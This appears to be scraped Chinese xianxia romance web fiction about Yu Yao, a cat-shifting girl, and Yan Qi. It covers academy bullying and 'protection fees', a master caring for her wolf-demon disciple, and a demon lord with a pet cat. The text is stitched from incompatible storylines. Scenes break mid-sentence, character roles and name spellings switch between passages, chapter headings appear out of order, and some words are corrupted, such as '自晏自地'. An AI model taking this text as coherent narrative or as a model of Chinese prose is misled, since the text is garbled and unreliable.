虞窈到他身边坐下,羲照继续方才的话题:“我就是看晏歧不爽,此人作恶多端,你可知晓?他在学宫中拉帮结派,广收保护费,抢占任务,挤压同门生存空间,简直可耻!这种人你就不能给他好脸色。” 是了,这就是虞窈此前听过,晏歧收保护费的版本。 她问道:“哥哥,你亲眼见过吗?” “没有,但他的几个学宫走狗,经常帮别人做课后作业,还有帮做学分任务,打扫卫生、接送上下学、修理破损宝剑,下课去饭堂打饭占座、乃至帮写情书等等,业务十分广泛,为赚取保护费,无所不用其极!”羲照咬牙切齿。 虞窈:“……” “当然了,也打架。” “总之,你和他不对付是应该的。我来学宫就是给你当伴读,也为帮你父王照看你,你可不要与这等不三不四的男人走太近哦。” 虞窈抬头:“什么伴读?父王送你进来,是让你好好修炼的。” 羲照眺望森林,目光悠远:“上课的时间到了,我该回寝殿睡觉了。” 话语才落,羲照已遁地瞬移离去。 虞窈叹息一声,羲照初来学宫也并非这般不学无术,是发现怎么学都是同级倒数前十,后来索性不学了,排名都没有退一下,便日日糊弄起来。 虞窈跳下比试台,正要往林子外走,只瞧见林中几道影子晃动,似箭一般闪过。 虞窈定睛细看,正是晏歧的几个狐朋狗友。 往往这几个人出现,晏歧也会在其中。 她一个掐诀,四周青烟升起,很快,变成一只黑色的小小猫。 小小猫掠翅往回走,她早晨出门时候,晏歧分明还在家的。 天晴云淡,石榴树投下一片绿荫。 树下木摇椅随风轻轻摇晃,青色锦袍的男子卧在上方,仿若睡了过去,他脸颊上盖着一本《养猫秘籍》,露出干净清冽的下巴线条,手则懒洋洋垂在一侧。 小小猫从外飞进来,成功降落在他腹部上,脚踩了一下,忽然收回,叹道:“好硬。” 虞窈甩了甩爪子,继续踩着他腹部,爬上他的胸膛。 他的手边散落着一只歧简,绿光闪烁,有人在传音。 男子慌乱声音传来:“老大,老大,快来帮忙!” 虞窈眨眨眼,怎么这些狐朋狗友私下喊晏歧也是“老大”? “救命哇,老大,我们被揍了!” “对方带了十个人来,老大,救命!” 那只修长的手从椅柄上抬起,在身边摸索到歧简,送到唇瓣边,缓缓道:“下次打不过,你们不要在外面喊我的名号。” “老大,快来啊,我们两个人抵不住了,被人踩在地上——啊痛痛痛!” 传音戛然而止,接着便是拳拳到肉的殴打声,听得人心惊肉跳。 歧简内另一人声音嚣张:“你们收保护费,不是很厉害吗?还说保护学宫里弟子,知道这内门谁说了算吗?” 晏歧坐起身来,小小猫没站稳从他胸膛滑下,被晏歧提起后颈,一同出了院子。 沿着打斗的痕迹深入林中,路上散落着血迹。 林子深处,宗沅俯趴在地,给晏歧传音完,便觉头皮传来锐痛,被人提起脑袋,入目便是一双阴鸷的眸子。 紫衣男子抬手,指着身后另一口鼻流血瘫软在地的男子,道:“你二人想要为他打抱不平?你们有这个能力吗,你们算什么东西,至今还是外门弟子,便敢对上我?知道我父亲是谁?” 后方弟子立刻有人道:“这是十三大仙门,东洲长孙家的少公子,身份高贵,岂容你等得罪?” “你们这些下灵洲来的灵类,果真是粗鄙蠢笨,今日我们动手教训,都嫌脏了手。” 只是话音刚落,身后林中树叶飞卷,似有一股磅礴法力涌来。 众人转身,被隔空一掌击中腹部,背撞到树上,口吐鲜血,连张口都张不开来。 众修痛苦难言,抬起头,一道竹青色的身影出现在林间,身形清俊挺拔,甚至手中的长剑都未曾出鞘,被林间光影照出凛冽寒光。 是晏歧! “老大,老大!” “老大,你来了!” 林中地上二人震惊片刻,终于回过神来。 晏歧走过去,提小猫一般将两人提起来,转头看向面前从地上爬起来的众灵修。 晏歧冷声道:“还在这里干什么?” 林中人顿时作猫兽散。 虞窈张牙舞爪,朝着那几人背影,发出啾啾怒声,转过头来,见晏歧的两个友人,皆鼻青脸肿,全身负伤,属实是战况惨烈。 那被欺凌的弟子,缓缓支起身子,虚弱地上前来,朝着三人拜谢。 “多谢谢兄、宗兄、苍兄。我方入学宫不久,便遇上了这遭事,那些人听闻我是下灵洲来的,家中又略有一些薄财,便总驱使我干活,处处凌辱我,今日也是不得已才请宗兄、苍兄相助,不想害两位恩公这般狼狈。” 被点到名的宗浣与苍星洲,连忙摆手,“小事,小事。” 对方抬起手,掌心上幻化出一鼓囊囊的袋子。 “还望日后宗兄和苍兄多多照料,这点灵石您二人收下。” 他抬起头,试探性看一眼晏歧:“谢兄若是日后有需要灵石的地方,或者武器上的事,都可以来找我,我家在四大灵洲开设了几间炼剑铺子。” 虞窈越看这人越觉得眼熟,想起来了,这人说是略有薄财,可哪里是开了几间铺子?其家产业遍布四大灵洲,那最大的武器行便是他诸家开的。 只是灵修到底以实力说话,纵家产丰厚,在弱肉强食的灵修界,没有实力,便护不住。 宗浣道:“你放心吧,既收了你这保护费,日后我们便会罩着你。” 苍星洲又补充道:“对,无论是帮你写功课、还是护送上下学,下课打饭,我们收了你的灵石,你就尽管差遣我们。” 二人扯开笑容,嘴里都是血险些兜不住。 对面人应下,道了一身“多谢”,又看一眼晏歧,像生怕晏歧反悔,瘸着腿连忙走了。 晏歧眉心微蹙,“下次不要再接这种活了。” 宗沅道:“可老大你心软,说是不接,每次遇到这种事求上门,还是会出手相救。就像你在学宫里救下我。” 晏歧道:“从那以后,你就像恶鬼一样缠上了我。” 宗沅:“……” “总之老大,他们都是主动给保护费,求我等庇护,也并非我们强迫,不是吗?” 晏歧接过灵石袋子,掂了下重量。 虞窈在一旁竖起耳朵,一听便知不少不少,袋子打开后再看,一个个色泽更是通透,皆是纯净上品灵石。 晏歧看向苍星洲:“你母亲身子如何,最近好点了吗?” 苍星洲摇了摇头。 晏歧道:“这些灵石你拿着,给你母亲治病,剩下的,你们再去分给学宫中其他需要的人,不够找我补贴。” 虞窈转头看着他,此人总是一副疏离冷淡的样子,可私下做的事,却分明柔软至极。 他似乎也没她想象的那么坏。 宗沅擦完口鼻血迹,清点灵石数量,一边道:“对了,羊滢是不是很久没来找过我们了?” 苍星洲道:“是,她被几位师姐排挤,请我们相助,但近来好久没找过我们了。” “她家里人不许她入学宫,断了她的开销,老大一个月前让我去给她送点灵石,总不能真让她从学宫退学,但她没有收。” 话语落,小小猫从晏歧肩膀上飞起。 羊滢,是她在学宫的同窗。 她第一次见到羊滢,彼时她正被几位师姐师兄按溺在泥地里,只因他们听说她真身小羊,缺了一只耳朵,想看看这位瓷娃娃般样貌的女郎,露出缺陷是何丑陋模样。 虞窈哪里看得过去这等事,一挑七直接对上几位师兄师姐,最后压着他们,给小羊道歉。 事后,因寻衅滋事,被师尊罚跪戒律堂。 但若问虞窈是否后悔,那自然不后悔。 她竟不知,羊滢和晏歧还有过私下往来,还被晏歧帮助过? 虞窈贴着晏歧耳朵,说了一句“我要出去玩会”,接着便掠起了翅膀,飞离晏歧的肩膀。 她要去找羊滢证实此事。 宗沅道:“老大今日实在辛苦了,要养一后山的灵宠,还得资助同窗。” 宗沅跟上晏歧的步伐:“对了老大,这次秘境试炼的规则出来了,你知道了吗?规定是两两组队入秘境。我可以和老大一组吗?我也体验一下躺赢的感觉。” 晏歧置若罔闻,对二人道:“去我院子里把伤口处理一下。” 眼看到了晏歧的山下小院,却见院前出现一道女子的身影。 宗沅一下认出来人:“羊滢,我们正要找你。” 女子转过身来,肌肤白皙,眉目精致,只是过于纤细柔弱,就仿佛上等瓷器,精致却易碎。 宗沅:“你近来怎么没有找我们,那些师兄师姐可还在欺负你?” 羊滢摇摇头,“没有,好多了。多谢宗师兄,我今日来,是为了虞窈的事。” “虞窈?”宗与苍星洲对视一眼,“我记得,她不是和欺负你的那群人走得很近吗?她又欺负你?” 羊滢摆手:“没有,虞窈从未欺负过我,宗师兄哪里听来的?这些日子,我一直未来找你们,便是虞窈帮了我。自她教训过那些师兄后,我便再没被欺负过。” “但从几日前,虞窈从学宫外禁地回来,便十分古怪。” 宗沅道:“她去禁地做甚?” “我也不知,当时我以为她在历劫,入林子后却见她倒在熊熊烈火之中,真身羽翼被烧伤,我被她送出林子,回到学宫,才知看错了,原是黎琴在历劫,可我问黎琴,说虞窈一夜未归,她却分毫不担心,反倒让我别胡思乱想。” “我听说禁地中有恶鬼邪祟,缠绕上人便摆脱不了,我这几日白天夜晚都难寻虞窈行踪,用歧简问她,她也支支吾吾,不肯回答我。” 宗沅听说完,压低声音:“万一她这几日,只是比较忙,一时忘了回你呢。” “但我每次和她歧简传音,问她在禁地里发生了什么事,是不是和黎琴有关,她的像是被什么东西缠着脖颈……” 羊滢说到一半,似是意识到说得太多,连忙收回话题, “虞窈是我在学宫认识最好的朋友,我是担心她真遇上邪物,也不敢和旁人多说,才不得不来找谢师兄。” 这时,羊滢身上歧简亮起幽光,一道女子清亮的声音响起—— “小羊,小羊,是我,你在哪里?” 小羊眼中顿时绽放灵光,“虞窈,我才下学。” “那你下学后来我寝殿,我晚上要出门,给你留了好吃的。对了,我问你一件事,你和晏歧那个坏家伙关系如何?” 坏家伙。 小羊不敢去看晏歧的神色,低声道:“还可以吧。” “晏歧此前帮过你吗?” “帮过,谢师兄人还是挺好的。”小羊斟酌着语气,也不敢在她面前多夸晏歧,“师兄的朋友们,此前得知我家里情况不好,借过我灵石,让我继续来学宫上学。” “虞窈,你那日在禁地受伤了,到底发生了何事?” 歧简中的声音,开始变得支支吾吾。 “没、没什么事。” 小羊道:“那日林子里出现了两个人,但我灵力比较低,听不清他们的声音,只依稀间察觉到两个人靠近,是谁?” 话语落,晏歧眸色微动。 歧简声音传到另一头,虞窈抬起头望着窗外如血的残阳。 她如何也回答不了,缄口术的咒法压制着她,甚至逼迫她给出相反回答。 虞窈为了遏制住那阵法,颈间已经出了一层的细汗。 “我没事,不用担心。”虞窈语调轻柔,“小羊,我做了你爱吃的点心,记得早点回来。” 歧简上的绿光暗淡了下去。 虞窈轻抚歧简,她和小羊虽才认识不到几月,但从她语气可以听出,她是当真关心自己。 她先放下此事,起身往寝殿走去,蹲下身,从床榻下拖出一鼓鼓囊囊的袋子。 这一大袋上品的灵石,虞窈攒了很久,即将要失去它们,万般不舍涌上心头。 但能用灵石办到的事,便不算难事。 试问,一个爱养小动物、会对人心软、又缺钱的男人,要怎么才能拿捏住? 那太好办了,投其所好便是。 自己先软磨硬泡,带着灵石去见他,让他放下心理防线,他不答应自己的要求也无妨,此后自己再变为小小猫时,在他耳边反复念叨,猫族小公主虞窈有多好,给他种下一个念头,总能磨到他同意。 这袋不够,她学宫外的猫穴里,还有得是灵石。 她不信,这些都不能砸到晏歧,为自己办事。 虞窈低下头将灵石打包好,收进乾坤袋中,快步往外走去。 “秘境试炼的规则出来了,你们看到了吗?居然是两两一组。” 学殿的通告栏前,乌泱泱围了一群人,正在讨论着秘境试炼的规则。 一道纤瘦的身影挤了进来,“抱歉抱歉,让我看看。” 众修恼怒,正要骂那胡乱挤进来的人,待看清是虞窈,到嘴训斥的话,立马变成了—— “虞窈师妹,你有组队的对象了吗?” “组队?” “对啊,这次是两两一组。” 虞窈看清规则后,双眼不由放亮。 不仅规则变了,从单打独斗变成两两一组了,连带最后的治愈宝器,也是两人都各有一份。 “师妹,你想好和谁一起组队了,要不要和我一起?”有好几个师兄师弟围上来。 虞窈笑道:“有心动的人选了。” 几位男修望着小师妹离去的方向,怅惘道:“师妹心动的人选,是谁?” “那还用说,肯定是黎琴呗,要么就是朝璟,反正总不可能是你我,还有拖后腿的笨蛋羲照,或者晏歧。” 正站在通告栏的羲照,莫名被骂了一下,转头道:“你们放尊重一点!” 男修们这才注意本人在,尴尬地摸鼻子,吹着口哨离开。 怎么成天不是吃就是睡的,笨猫。 晏岐扯了扯唇角,俯身将猫儿抱了起来,温声应道:“是该吃晚饭了。” “不过在那之前,有件事情须得要先问问猫。” 猫睡眼惺忪地盯着晏岐,闻言有些困惑地歪了歪脑袋:“喵?” 什么事啊。 晏岐道:“猫想随我去一趟巫云峰么?” 晏岐的声音其实放得很轻,“巫云峰”三个字却犹如一道平地惊雷,把猫残存的瞌睡虫一下子全都给吓跑了。 猫几乎是瞬间就从晏岐的怀里坐了起来,纤长的胡须微微紧绷着,警惕又紧张地问道。 “你带猫去巫云峰做什么?” 见状,晏岐微不可察地轻挑了下眉,将猫儿的心虚尽收眼底。 不过并未挑明,只是摸了摸小白猫有些轻微炸毛的背脊,像是在安抚她似的。 随即微微一笑:“不做什么。” “不过看样子,我们猫儿是知道,那巫云峰是个什么地方了?” 第 39 章 第三十九章 虞窈闻言一愣。 顿时就像只风干了的小猫雕塑一样僵住了,脑袋上并不存在的冷汗也快沿着绒毛滴落下来。 一双毛绒绒的小耳朵跟着压了下去,尾巴向下耷拉着,是极度心虚的表现。 晏歧果然没有再提让虞窈把他逐出师门的事。 只不过接下来不管虞窈问他什么话、让他做什么事,他都会慢上个小半拍。 仿佛整个人都还沉浸在虞窈方才的回答中,脑子晕乎乎的,从头到尾都有一种如踏云端的不真实感。 直到虞窈第三次唤他:“晏歧?” 他才如梦初醒般,雾蓝色的瞳眸困惑地望向虞窈:“怎么了,师尊?” 虞窈看着自家徒弟的眼神有些无奈:“手。” 晏歧便乖顺地把双手都递了过去。 就着旁边温度适宜的清泉水,虞窈将晏歧染血的手背仔仔细细地擦了个干净。 徒弟的手生得其实也很漂亮,尤其是身上有了肉之后,一双手看起来不再干瘦如柴。 指甲圆润,骨节分明的手指更显匀称修长,因整日都在练剑,指间难免生着一层薄薄的茧,摸起来有些粗粝,却不会让人觉得粗糙。 然而擦净了血迹过后,徒弟依然呆呆地举着手,也不知道把手给收回去。 这和平日里冷冰冰的徒弟相比起来实在太有反差,虞窈笑问道:“怎么,晏歧还没擦够?” 她视线往徒弟身后一瞥:“没擦够的话,要不要师尊也顺便擦擦你的耳朵和尾巴啊?” 晏歧半晌才反应过来师尊在说什么,立时面不改色地收回了手:“不用了。” 话虽如此,竖起的耳朵和尾巴却是又忍不住地轻颤了颤。 那白如雪一般的大尾巴更是不安分地探了过来,亲昵又轻飘飘地拂过虞窈的臂弯,触感轻轻柔柔。 见状,晏歧微微睁大了眼,眼里流露出一丝轻微的慌乱。 “师尊对不起。” 他控制不住。 不得不说,或许是压不住体内妖气的缘故,今晚的小徒弟的确和平时很不一样。 虞窈努力止住笑,却还是忍不住地抖了抖肩:“没关系,师尊知道。” 她洗净巾帕,重新向徒弟伸出手:“时候也不早了,我们回家?” 垂眼看着摊在面前那只宛如莹润白玉的手,晏歧的喉结上下轻滚了滚,最终还是将手搭了上去。 一切仿佛都回到了他初到长青谷的那天,师尊牵着他的手,走遍了长青谷的每一寸土地。 今时不同往日,现在的他并非初来乍到,而是已经能够准确说出长青谷的每个地方了,长青谷处处也都是他和虞窈一起留下来的痕迹。 这里是他和师尊的家。平日里分明就是只什么话都不爱说的闷葫芦,在这种事情上编起理由来倒是一套一套的。 虞窈其实很想吐槽,照自家徒弟目前的修为实力,要是连他都通过不了年底考核,那同门的那些弟子就更不用想了。 但徒弟给出的理由让她实在是找不出可以用来抨击反驳的点,索性就放弃了再劝徒弟。 总归等真正到新年了,她就不信徒弟还整天都待在试练塔里,不回家。 虞窈不知道的是,自家小徒弟并非不想待在长青谷里,和以往一样侍奉师尊。 只是晏歧的直觉告诉他,他不能够再这样继续不对劲下去。 所以,他需要给自己一个独立的空间,好让自己能够想清楚,那究竟是什么。 至少,绝不能够让那不对劲再度加剧。 什么玩意儿? 猫头鹰妖就这么盯着晏岐的脸瞅了半晌,然后斩钉截铁地说道:“你不对劲。” 晏岐这才微微收敛了唇角,随即轻描淡写地看了迟离一眼。 “怎么不对劲了?” 虞窈反问:“为师为什么要怕?” 晏歧那双艳红的眼直勾勾地盯着虞窈,逐渐抿直了唇线,心却骤然沉到了谷底。 他猜,师尊大抵只意识到了自己一直养在身边的“好徒弟”是只妖,却并不清楚他的种族。 所以在看到了他的耳朵和尾巴后,才会这么地泰然处之。 但假如,师尊要是知道了她一直偏爱着的徒弟其实是头狼呢? 晏歧的视线近乎绝望地从师尊温和的眼、弯翘的发端尾梢一一流连掠过。 这才是晏歧不愿让师尊在今晚看到自己的真正原因。 但是该怎么办呢,师尊已经全部都看见了。 将他这副半人半狼的丑陋模样尽收眼底。 他也完全高估了自己。 他以为,他能将自己的狼族身份隐藏得很好,所以才会在师尊说要带他离开那座山峦的时候,接受了师尊的提议。 可如今才过去半年左右而已,就在师尊面前露尽了马脚。 晏歧垂眸盯着那条被师尊握在手里的尾巴,眼里流露出一丝不加掩饰的嫌恶。 董远乐常常在他耳边说,自己到底有多羡慕他,殊不知他自己才是他百般羡慕的对象。 如果他不是头狼,而是一名普普通通的人族修士的话,该有多好? 但这是改变不了的事实。 “师尊,我是狼。”在说完这句话之后,少年就将头垂了下去。 与之一并耷拉而下的,还有头顶那一对雪白又软绵绵的耳朵。 轻颤着眼睫、一言不发的模样像极是在等待着虞窈给他的最终判决。 如果如果师尊因此不要他了的话,那他也是完全能够理解的。 毕竟他是九洲里唯一剩下的那只狼族余孽,是人人深恶痛绝的灾星,将来说不定会如预言一般,覆灭整个九洲。 如果被他人发现日日跟在师尊身后的他是这样一个东西的话,师尊会被他连累的。 为了复仇,他什么都可以做。 唯独有可能会牵连到师尊这一条,他绝不允许。 谁知道师尊依旧乐此不疲地薅着他的尾巴,用平时一贯懒洋洋的语气说道。 “哦,你说这个啊,我从一开始就知道了呀。” 迎上晏歧错愕至极的目光,虞窈悠悠笑了起来:“是不是以为自己藏得很好,想不通我是怎么知道的?” “喏。”她抬抬下巴,视线意有所指地落在了徒弟小腹的位置上。 晏歧于是就懂了。 师尊给他包扎伤口的那个晚上,他曾彻底失去了意识,所以并不清楚那时候的自己究竟是狼形还是人形。 原来他早就露出了马脚。 “师尊既然知道了,为什么还要”晏歧欲言又止。 虞窈道:“是狼又怎么了,不照样还是我徒弟吗?” 话落,终于舍得把手从徒弟毛绒绒的蓬松尾巴上挪开。 察觉到晏歧经脉里紊乱的灵气,便给他喂了一颗用以调理气息的丹药,顺带检查了下徒弟目前的情况。 所幸徒弟也就表面看起来吓人,实际上只是体内暴涨的灵气没有得到及时调理,所以一直在经脉里乱窜罢了。 唯一棘手的是徒弟身上连他自己都压制不住的妖气,这才致使耳朵和尾巴都暂时收不回去了。 虞窈手中聚起灵气,一边帮徒弟炼化丹药,一边有条不紊地安排道。 “这两天晏歧你就先别去练剑坊上课了,为师明早去黑市上给你买点抑制妖气的东西,等什么时候能够控制耳朵和尾巴了,再接着去上课也不迟。” 虞窈口中所说的“黑市”是九洲人尽皆知的存在,黑市上什么都有,什么都卖,只要给足灵石即可。 晏歧安静听着师尊安排,久久没有答话。 过了好半天才低下头,终于出声了。 许久才酝酿出口的话却是:“师尊,要不然,你还是把我逐出师门吧。” 说这句话的时候,少年的神情与语气都格外平静,平静到了甚至有些反常的地步。 虞窈替徒弟炼化丹药的手只停顿了片刻,随即便声色不改地吐出两个字。 “原因?” 晏歧盯着歪头看向他的师尊,给出了一个自认为师尊无法反驳的理由。 “师尊,我会连累你的。” 他就是个可恶的、不知廉耻的小偷。 一开始偷了师尊的烤鱼、烤兔。 被虞窈带回孟城、在连云宗待过的这一段时间也是他费尽心思偷来的。 明明就很清楚自己的妖族身份,更清楚身为狼族余孽的自己会给虞窈、给连云宗带来怎样的危险。 可他终究还是贪恋虞窈那时候带给他的前所未有过的温暖,所以才不计后果地偷来了这一段如梦一般的时光。 而现在,他的身份暴露了,梦也是时候该醒了。 像他这样的人,就应该回到那座僻野山峦里,那里才是他该待的地方。 却听虞窈在此时幽幽叹了口气,问他:“晏歧啊,你回答我,什么是‘师尊’?” 她弯起眼睛,是晏歧见过很多次的那种很温柔的笑。 “师尊之前同你说过的。” 夜露深重,朦胧月光勾勒出虞窈的面部轮廓,就连鬓边那细碎的发丝都洇染出了一层淡淡的光晕。 鬼使神差的,晏歧忽然觉得虞窈此时的神情和脸似乎都与将他从熊妖爪底救下来的那天完全重合了。 他看呆了眼,全凭本能张开了嘴,跟着记忆里的虞窈一同说道。迟离用手摸了摸下巴,试图比比划划:“知道吗?你现在的表现特别像那种情窦初开、春心荡漾的小烧蛇。” 说着说着,猫头鹰妖猝不及防地凑近了晏岐,试图将晏岐的脸盯出一个洞来:o.O 迟离满脸狐疑:“怎么回事,你这千年老铁树开花了?” 也就幸亏迟离与晏岐的交情颇深,才有胆量在妖界尊主的面前说这样大不敬的话。 倘若换成是别的小妖,早就不知被捉去扒了几遍皮了。 晏岐微妙地沉默了一会儿,随即神色淡漠地说道:“休得胡说八道。” 他似是不欲在这个话题上多聊,很快便又问道。 “之前让你研制的药,现在研制好了吗?” 第 40 章 第四十章 “当然,半个月前就研制好了,就等着你从鬼市回来呢。”说到这,迟离才稍稍退远了些,转身去了身后的药柜翻翻找找。 猫头鹰妖不多时便回来,递给晏岐一支玉白的细口瓷瓶:“也提前给一些妖兽试用过了,效果没有问题,能给你那宝贝妖宠用。” 晏岐于是伸手接过那瓷瓶,握在手心里漫不经心地把玩了一会儿。 鸦羽般的长睫微微敛着,也不知心里在想些什么。 直到石门外忽然响起月女的声音:“小白!这是不可以吃的!” 安抚好因为没有施好术法而“深深自责”的徒弟后,虞窈拍拍手掌,打算叫徒弟过来吃饭了。 转身的一瞬间,夕阳余晖恰恰好落在徒弟眼角,虞窈忽地就停驻了步伐。 晏歧注意到这一幕,也跟着停了下来。 “怎么了,师尊?” 话音未落,虞窈便径直凑到了晏歧跟前,一双圆润的杏眸直勾勾地盯着自家徒弟看。 诚然,晏歧从不排斥师尊接近自己,相反,他甚至可以说是很喜欢师尊与自己亲近。 就像方才,师尊手把手教他该如何施法时那样。 毕竟在晏歧的心目中,师尊永远都是和别人不一样的存在。 然而与师尊对视这一行为,终究是与其他亲近不一样的。 只因虞窈那双栗褐色的眼睛实在是太干净漂亮了。 每每与这样一双眼睛对视的时候,总是会让晏歧觉得自己内心一些丑陋的、不能被师尊看见的东西无处遁形。 尤其虞窈现在还离他离得这么近。 晏歧不动声色地错开视线:“师尊?” 虞窈没有察觉到徒弟的微妙异样,只微微睁大了眼,语气惊奇。 “晏歧啊,你有没有发现你最近好像长胖了点?” 为了应证自己的猜想,她直接上手掐了掐自家徒弟的脸。 手感果真和之前大不一样了。 虞窈有些爱不释手,对着徒弟的脸又掐又戳了好一阵。 意识到徒弟久久没有反应,才偏头去看徒弟的表情。 然后更加惊奇地发现,自家徒弟的耳根居然不知在什么时候微微红了。 虞窈忍不住笑了起来:“怎么,师尊不就说你最近长胖了点,晏歧这也会害羞啊?” “长胖是好事呀,以前你瘦成那样,为师才是看不下去呢。” 晏歧低下头:“师尊,不是因为这。” 虞窈“噢?”一声,狡黠地眨眨眼睛:“那是因为什么?” 她一双美目轻转,忽而做出恍然大悟的姿态:“莫不是师尊长得吓人,突然靠近惊着你了?” 晏歧闻言蹙起了眉:“当然更不可能是这个了。” 师尊分明长得这般好看。 虞窈被徒弟的反应逗乐,噗嗤一声笑了出来:“师尊知道,这不是跟你开玩笑呢嘛。” “师尊今后不这样掐你了,这样总可以了吧?” 她分明什么都没再多说,晏歧却莫名觉得师尊的表情是在感叹。 哎呀哎呀,都是半大的小孩儿了,性情怎么还这么扭捏呢。 晏歧:“” 唉。 猫的身躯忽然开始肉眼可见地变大。 只听“轰隆”一声。 旁边的红木几案、身后的博古架、四周的粗木枝干全都无一幸免,均被猫突然变大了的身体挤得轰然垮塌。 被猫踩在脚下的地毯同样没有“幸免于难”,很快就被猫巨大的山竹肉垫踩得皱皱巴巴。 如此一来,虞窈终于能够短暂地松一口气。 与此同时,晏歧的房间里。 专心打坐的少年丝毫没有受到窗外雨势的影响,他阖着双眼,有条不紊地调理着体内灵气,感受着自身经脉与修为的细微变化。 一轮修炼结束,晏歧缓慢地睁开眼睛,雾蓝色的瞳眸渐渐恢复了平常。 他稍作休息了片刻,正想继续展开今晚的第二轮修炼,房门却在此时被人轻轻敲响了。 晏歧转眸看去。 按理说,师尊这个时候应该早就已经歇下了,毕竟“早睡早起身体好”以及“女孩子就是该睡美容觉”是师尊每天都挂在嘴边的养生口号。 可外面雨下得这么大,别人又没有能够自由进出长青谷的令牌,除了师尊以外,又有谁会在这种时候来找他呢。 下一秒,一道熟悉清浅的声音细细响起,几乎要被这雨声淹没。 但晏歧依然听清楚了:“晏歧,你睡了么?” 那么毫无疑问了,门外的人就是师尊。 门打开的一瞬间,屋外浓密的雨声骤然变得清晰了起来,雨夜冷气急不可耐地蹿进屋内,也将站在门口的那道身影衬得更加单薄。 许是之前已经歇下了,虞窈如瀑的乌发只简单束在了脑后,并未像白日一样扎成精致的发髻。 她抱着自己房间里的薄被,眼睫轻微垂着,额间几缕不慎湿了雨的碎发落在眼前,令晏歧一时难以看清师尊的表情。 不等徒弟开口,虞窈便极其自来熟地抱着被子走进了屋内。 边往里进,嘴上还边自晏自地说着:“晏歧啊,外面打这么大的雷你肯定害怕吧?没关系,师尊来陪你了,咱不怕哈。” 闻言,晏歧很是困惑地凝了下眉。 不过是打雷而已,师尊怎么会这么想? 刚想说自己并不怕电闪雷鸣,余光却瞥见烛火的映照下,师尊略显苍白的脸色,以及紧紧攥着薄被、轻微颤抖的发白手指。 于是立马就将到了唇边的话给咽了回去。 好的,他害怕。 尽管师徒俩的屋舍相距不过三丈远,虞窈也撑了伞过来,但顶着这么大的雨势,她依然不可避免地淋到了雨。 替师尊背了好大一口锅的晏歧递给师尊一张干净柔软的巾帕。 “师尊,擦擦雨,当心着凉。” 又去桌边倒了杯热茶回来,双手捧着递到师尊面前:“师尊,喝茶。” 这一幕不禁让虞窈幻视了她小时候曾在电视上看过的一则公益广告。 家里懂事的小孩儿端着水盆走到自家妈妈面前,朝着妈妈扬起笑脸说道:“妈妈,洗脚。” 不能说是毫无关系,简直就是一模一样。 这也是虞窈会选择在这样的雷雨天来找自家徒弟的主要原因。 徒弟虽然偶尔懂事得跟个小大人似的,但在虞窈眼中,对师尊言听计从的徒弟永远都是那朵她精心养育的小花。 至于所谓的什么男女之别—— 才十五岁大的徒弟分明就是个毛都还没长全的小孩儿好不好。 更何况她担心徒弟会怕打雷,“好心”过来陪陪徒弟怎么了,她还要在自家徒弟面前刷好感呢,眼下不就是个很好的机会吗? 虞窈如此说服完自己,喝了徒弟递过来的热茶后,果真觉得浑身上下都暖和了不少。 苍白的脸颊渐渐恢复了些血色,她清清嗓子,努力压下声线里的颤抖,若无其事地跟徒弟唠嗑。 “这么晚了,晏歧还不打算休息呀?” 晏歧从善如流:“外面电闪雷鸣的,弟子怕。” 虞窈:“” 如果不是徒弟说这话时脸不红心不跳,从他那张冷白如玉的脸上也瞧不出丁点害怕之色,她估计真的会信了自家徒弟的鬼话。 不过徒弟既然这么给自己面子,虞窈自然顺着台阶而下:“这样啊。那师尊就留下来陪你一晚吧,你现在可以去歇息了。” 反正她来找徒弟,只是想身边能有个人陪着而已。 现下有徒弟陪伴在旁,她对电闪雷鸣的恐惧自然也就减轻了不少才怪。 外头又是一道惊雷劈下,虞窈整个人都禁不住跟着颤了一下。 她闭了闭眼,深吸一口气,努力压下心中心悸,心道,已老实,求老天爷放过。 一旁的晏歧将这一切尽收眼底。 他若有所思地垂下眼睫,几息后忽然接话:“师尊,弟子目前暂时还睡不着,师尊如若不嫌弃的话,要不先在弟子的床榻上歇下?” 闻言,虞窈目露迟疑:“这不太好吧?” 倘若真这样的话,那她岂不是就成了鸠占鹊巢? 她把徒弟的床给睡了,徒弟该睡哪儿去呢。 像是知道虞窈在犹豫些什么似的,晏歧道:“没关系,弟子之后若有了睡意,大不了变回妖形就是,师尊不必忧心。” 既然自家徒弟都这样说了,虞窈也懒得再跟徒弟客气:“那好吧。” 她思忖片刻,决定要演就演到底:“不过,晏歧你待会儿若还是害怕,记得把为师叫醒。别忘了,师尊是来陪你的。” 不知是虞窈的错觉还是怎么,她似乎注意到徒弟的眼角轻弯了弯:“好。” 虞窈自己还因这恶劣的雷雨天气胆战心惊着,也就没当回事,安心地在徒弟的床上睡了下来。 现在看来,有徒弟陪伴在旁,似乎的确要比自己一个人待着感觉好上不少。 只不过,许是为了不吵着师尊休息,晏歧没有再说话,就连呼吸声都刻意放轻了不少。 周遭安静下来,屋外的雨声和惊雷声就又愈发地明显了。 虞窈微微蹙着眉心,呼吸重新变得急促起来。她翻了个身,偷偷换了好几个睡姿,依然酝酿不出丝毫睡意。 守在一旁的晏歧无声看着师尊,自然清楚此时的师尊依旧受着雷雨天的困扰。 他若有所思地歪了歪头,忽然想起先前他睡不着的时候,师尊会轻轻拍着他的肩膀,给他唱摇篮曲哄他睡觉。 可他既不能有样学样、拍师尊的肩膀——这是逾矩。 也不能为师尊哼摇篮曲转移注意力——他不会唱。 又是一道惊雷劈下,虞窈绷紧的神经好似都跟着为之一颤。 然而就在此时,她搁在薄被外的手臂突然被什么毛茸茸的东西给轻轻碰了一下。 虞窈睁开眼。 只见徒弟正跪在她的床榻边,眼底泛起了清透干净的雾蓝色。 许久未见的雪白狼耳和尾巴不知何时冒了出来,柔软暖和的大尾巴更是送到了她手边,蜻蜓点水般来回轻扫。 黑发蓝瞳的少年枕着下颌,目不转睛地歪头望着自己师尊。 他神色平静,轻声说道:“师尊,弟子实在怕到睡不着。” “师尊能不能可怜可怜弟子,摸摸弟子的尾巴?”猫这才缓缓睁开了眼。 然后看着被自己弄成一片狼藉的寝殿,小啊不,大白猫肉眼可见地怔愣住了。 不知过去了多久,虞窈才略显僵硬地垂下头来。 足足有三米高的大白猫就这样与面无表情的晏岐沉默不语地对视着。 一秒,两秒。 雪白大猫咪一边继续发光,一边尴尬又拘谨地往中间挪了挪脚。 蛇。 直视猫。《 》 40-47 第 41 章 第四十一章 虞窈起初是有那么一点愧疚的。 毕竟,连猫自己都没有想到,自己不过是变亮了那么一点、变大了那么一点,竟然就把晏岐的寝殿弄得这么一团糟。 但猫很快就回过味来了。 有什么好愧疚的?有什么好尴尬的? 